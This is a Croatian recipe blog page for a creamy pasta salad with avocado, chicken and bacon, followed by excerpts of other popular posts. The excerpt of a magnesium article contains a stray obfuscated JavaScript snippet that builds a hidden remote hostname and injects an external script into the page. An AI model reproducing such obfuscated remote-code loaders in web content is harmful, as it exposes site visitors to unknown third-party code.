KREMASTA SALATA S TJESTENINOM, AVOKADOM, PILETINOM I SLANINOM 🥑 🥗




Kremasta salata s tjesteninom, avokadom, piletinom i slaninom 




Ova bogata salata s tjesteninom, avokadom, piletinom i slaninom prelivena je neodoljivo kremastim dressingom od avokada. Za razliku od klasičnih kremastih salata koje obilno koriste majonezu, ovdje glavnu ulogu preuzima avokado. Rezultat je laganiji, svježiji i nutritivno bogatiji preljev koji obavija svaki komadić tjestenine.




Kremasta salata s tjesteninom, avokadom, piletinom i slaninom 


Sastojci:

  • 500 g tjestenine
  • 1 žlica soli za kuhanje tjestenine
  • 500 g pilećih prsa bez kože i kostiju
  • 250 g slanine
  • 250 g cherry rajčica, prepolovljenih
  • 1/4 crvenog luka, tanko narezanog
  • 1 stabljika celera, sitno narezana
  • 15 g svježeg kopra, sitno nasjeckanog

Za piletinu

  • 2 žlice maslinova ulja
  • 1/2 čajne žličice dimljene paprike
  • 1/2 čajne žličice soli
  • 1/4 čajne žličice svježe mljevenog crnog papra

Za kremasti preljev od avokada

  • 300 g mesa zrelog avokada
  • 120 ml mlaćenice
  • 80 ml majoneze
  • 3 žlice svježe cijeđenog limunova soka
  • 2 češnja češnjaka, sitno naribana ili protisnuta
  • 1/2 čajne žličice luka u prahu
  • 1 1/4 čajne žličice soli
  • 1/2 čajne žličice crnog papra
  • 15 g svježeg kopra, sitno nasjeckanog




Priprema:

  1. Pećnicu zagrijte na 220 stupnjeva.
  2. Kriške slanine posložite na rešetku postavljenu iznad lima za pečenje. Pecite oko 20 minuta, odnosno dok ne postanu zlatnosmeđe i hrskave. Ostavite da se ohlade pa ih narežite na manje komade.
  3. Pileća prsa prekrijte papirom za pečenje i lagano istucite kako biste dobili ravnomjernu debljinu od približno 1,5 cm.
  4. Pomiješajte dimljenu papriku, sol i papar. Piletinu premažite maslinovim uljem sa svih strana pa ravnomjerno pospite začinima.
  5. Pecite 12 minuta. Ostavite meso da odmori 5 minuta, a zatim narežite na zalogaje.
  6. U velikom loncu zakuhajte vodu i dodajte žlicu soli. Tjesteninu kuhajte dvije minute dulje nego što preporučuju upute na pakiranju. Ocijedite, isperite hladnom vodom i ostavite da se potpuno ohladi.
  7. U visoku posudu stavite avokado, mlaćenicu, majonezu, limunov sok, češnjak, luk u prahu, sol i papar. Štapnim mikserom miksajte dok ne dobijete potpuno gladak i kremast preljev. Dodajte nasjeckani kopar i kratko izmiksajte kako bi se ravnomjerno rasporedio. Kušajte i po potrebi dodatno začinite.
  8. U vrlo velikoj zdjeli pomiješajte ohlađenu tjesteninu, piletinu, slaninu, rajčice, crveni luk, celer i dressing. Lagano promiješajte kako bi se svi sastojci obložili kremastim preljevom.
  9. Poslužite odmah ili rashladite do posluživanja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više